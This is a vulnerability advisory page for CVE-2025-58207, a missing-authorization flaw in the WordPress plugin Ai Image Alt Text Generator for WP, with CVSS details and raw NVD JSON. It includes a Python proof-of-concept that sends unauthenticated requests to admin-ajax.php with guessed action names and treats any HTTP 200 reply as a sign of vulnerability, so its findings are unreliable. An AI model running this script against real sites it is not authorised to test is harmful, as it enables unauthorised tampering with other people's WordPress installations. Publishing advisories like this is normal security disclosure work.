Security Vulnerability Report
中文
CVE-2025-58207 CVSS 8.2 HIGH

CVE-2025-58207

Published: 2025-11-06 16:15:59
Last Modified: 2026-04-27 19:16:14

Description

Missing Authorization vulnerability in WP Messiah Ai Image Alt Text Generator for WP ai-image-alt-text-generator-for-wp allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Ai Image Alt Text Generator for WP: from n/a through <= 1.1.5.

CVSS Details

CVSS Score
8.2
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:L

Configurations (Affected Products)

No configuration data available.

ai-image-alt-text-generator-for-wp <= 1.1.5

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import sys # CVE-2025-58207 PoC - Missing Authorization in ai-image-alt-text-generator-for-wp # Target: WordPress site with vulnerable plugin (<= 1.1.5) def check_vulnerability(target_url): """ Check if the target WordPress site is vulnerable to CVE-2025-58207 Missing Authorization vulnerability in Ai Image Alt Text Generator plugin """ # Plugin AJAX endpoint (common WordPress admin-ajax.php) ajax_endpoint = f"{target_url.rstrip('/')}/wp-admin/admin-ajax.php" # Try to access plugin functionality without authentication # This exploits the missing authorization check payloads = [ # Payload 1: Try to access plugin settings/function { 'action': 'ai_alt_text_generator_action', 'nonce': '', 'image_id': 1, 'generate_alt': 1 }, # Payload 2: Direct plugin function call { 'action': 'ai_image_alt_generate', 'post_id': 1 } ] print(f"[*] Testing target: {target_url}") print(f"[*] CVE-2025-58207 - Missing Authorization in ai-image-alt-text-generator-for-wp") for i, payload in enumerate(payloads, 1): try: print(f"\n[*] Testing payload {i}...") response = requests.post(ajax_endpoint, data=payload, timeout=10) # Check for successful unauthorized access if response.status_code == 200: print(f"[!] Potential vulnerability detected!") print(f"[!] Status: {response.status_code}") print(f"[!] Response: {response.text[:200]}") return True else: print(f"[*] Payload {i} - Status: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[!] Request error: {e}") continue print("\n[*] Vulnerability check completed") return False if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python cve-2025-58207-poc.py <target_url>") print("Example: python cve-2025-58207-poc.py http://example.com") sys.exit(1) target = sys.argv[1] check_vulnerability(target)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-58207", "sourceIdentifier": "[email protected]", "published": "2025-11-06T16:15:58.567", "lastModified": "2026-04-27T19:16:14.470", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Missing Authorization vulnerability in WP Messiah Ai Image Alt Text Generator for WP ai-image-alt-text-generator-for-wp allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Ai Image Alt Text Generator for WP: from n/a through <= 1.1.5."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:L", "baseScore": 8.2, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "LOW"}, "exploitabilityScore": 3.9, "impactScore": 4.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/ai-image-alt-text-generator-for-wp/vulnerability/wordpress-ai-image-alt-text-generator-for-wp-plugin-1-1-5-broken-access-control-vulnerability?_s_id=cve", "source": "[email protected]"}]}}